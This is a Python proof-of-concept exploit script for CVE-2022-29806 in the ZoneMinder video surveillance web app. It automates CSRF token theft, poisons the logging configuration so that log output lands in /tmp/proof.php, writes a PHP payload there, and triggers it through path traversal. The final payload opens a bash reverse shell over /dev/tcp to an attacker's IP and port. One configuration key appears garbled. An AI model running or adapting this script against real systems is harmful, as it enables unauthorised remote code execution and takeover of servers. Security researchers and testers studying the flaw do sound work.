README.md
Rendering markdown...
import re
import requests
from bs4 import BeautifulSoup
import argparse
# POC for CVE-2022-29806
# Source: krastanoel
# Publication: https://krastanoel.com/cve/2022-29806
# Body inspired from POC for CVE-2023-26035: https://github.com/rvizx/CVE-2023-26035
#
# If the exploit was incomplete the app won't be able accesible!
# That is because the app will try to log all events.
# The log file not being fully set up that will trigger an error.
# The app won't be able to log that error. Crashing it.
#
# If you ever have issues with script execution and
# know the version is vulnerable, check krastanoel's
# blog publication. Steps are not that hard.
#
# PS:
# This is just an automation script.
# I don't claim ownership over anything.
class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None
response_test = requests.get(f"{self.target_uri}/index.php")
if response_test.status_code != 200:
print("[!] Unable to reach target. Veify URL (Do not include index.php in the URL parameter). Stopping for now")
exit()
def fetch_csrf_token(self):
print("[>] fetching csrf token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False
def get_csrf_magic(self, response):
magic_csrf_token = None
try:
magic_csrf_token = BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)
except:
try:
magic_csrf_token = str(BeautifulSoup(response.text, 'html.parser').find_all('script')[18]).split('"')[3]
except Exception:
print("[!] Unable to fetch the 'magic CSRF' token.")
print("-- Check if the URL is correct!")
print("-- Otherwise you might need to edit the POC.")
print("-- If the payload was malformed you won't be able to access the application")
exit()
return magic_csrf_token
def execute_command(self, payload):
print("[>] STEP 1 - Activating the dashboard..")
data = {
'view': 'privacy',
'action': 'privacy',
'option': f'0',
'__csrf_magic': self.csrf_magic
}
response_dashboard = requests.post(f"{self.target_uri}/index.php", data=data)
if response_dashboard.status_code != 200:
print("[!] Failed to activate the dashboard. Continuing for now - Might be an issue!")
print("[>] STEP 2 - Sending new logging configuration")
data = {
'__csrf_magic': self.csrf_magic,
'view': 'options',
'tab': 'logging',
'action': 'options',
'newConfig[ZM_LOG_LEVEL_SYSLOG]': '0',
'newConfig[ZM_LOG_LEVEL_FILE]': '1',
'newConfig[ZM_LOG_LEVEL_WEBLOG]': '-5',
'newConfig[ZM_LOG_LEVEL_DATABASE]': '0',
'newConfig[ZM_LOG_DATABASE_LIMIT]': '7 day',
'newConfig[ZM_LOG_FFMPEG]': '1',
'newConfig[ZM_LOG_DEBUG]': '1',
'newCon/usr/bin/zmdc.plfig[ZM_LOG_DEBUG_TARGET]': '',
'newConfig[ZM_LOG_DEBUG_LEVEL]': '1',
'newConfig[ZM_LOG_DEBUG_FILE]': '/tmp/proof.php',
'newConfig[ZM_LOG_CHECK_PERIOD]': '900',
'newConfig[ZM_LOG_ALERT_WAR_COUNT]': '1',
'newConfig[ZM_LOG_ALERT_ERR_COUNT]': '1',
'newConfig[ZM_LOG_ALERT_FAT_COUNT]': '0',
'newConfig[ZM_LOG_ALARM_WAR_COUNT]': '100',
'newConfig[ZM_LOG_ALARM_ERR_COUNT]': '10',
'newConfig[ZM_LOG_ALARM_FAT_COUNT]': '1',
'newConfig[ZM_RECORD_EVENT_STATS]': '1'
}
response_config = requests.post(f"{self.target_uri}/index.php", data=data)
if response_config.status_code != 200:
print("[!] Something went wrong while updating the log configuration. Stopping for now.")
print("\tCheck fields in the 'response_config' variable match the application or if the dashboard is enabled.")
exit()
print("[>] STEP 3 - Sending payload")
data = {
'__csrf_magic': self.csrf_magic,
'view': 'request',
'request': 'log',
'task': 'create',
'level': 'ERR',
'message': payload,
'file': '/tmp/proof.php'
}
response_payload = requests.post(f"{self.target_uri}/index.php", data=data)
if response_payload.status_code != 200:
print("[!] Something went wrong sending the payload. Stopping for now.")
print("\tDouble check if previous steps worked. Log options should point to /tmp/proof.php.")
exit()
print("[>] STEP 4 - Triggering payload")
data = {
'__csrf_magic': self.csrf_magic,
'view': 'options',
'tab': 'system',
'action': 'options',
'newConfig[ZM_LANG_DEFAULT]': '../../../../../tmp/proof'
}
try:
response_include = requests.post(f"{self.target_uri}/index.php", data=data)
except requests.exceptions.Timeout:
print("[>] Exploit triggered. Reload index.php if needed on your browser.")
print("\tIf the payload was broke/malformed you'll ned to restart the server. CF. Comment on line 12")
print("[>] STEP 5 - BONUS - Ensuring trigger.")
response_payload = requests.get(f"{self.target_uri}/index.php")
return
print("[!] Failed to execute? If you don't get execution at this point it's possible that:")
print("\tApplication is executing on context of user with limited rights on server.")
print("\tApplication might not vulnerable despite version")
exit()
def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)
exit()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint/webroot')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()
payload = f'<?php shell_exec("/bin/bash -c \'/bin/bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1\'");?>'
ZoneMinderExploit(args.target_url).exploit(payload)